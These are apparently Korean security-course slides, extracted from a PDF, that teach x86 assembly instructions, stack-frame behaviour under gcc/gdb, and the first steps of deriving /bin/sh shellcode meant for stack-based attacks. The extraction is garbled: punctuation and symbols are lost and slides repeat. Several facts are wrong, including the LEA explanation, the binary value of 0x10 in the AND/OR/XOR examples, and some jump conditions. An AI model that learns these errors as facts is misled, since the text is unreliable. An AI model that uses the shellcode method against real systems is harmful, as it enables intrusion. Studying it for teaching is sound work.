NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

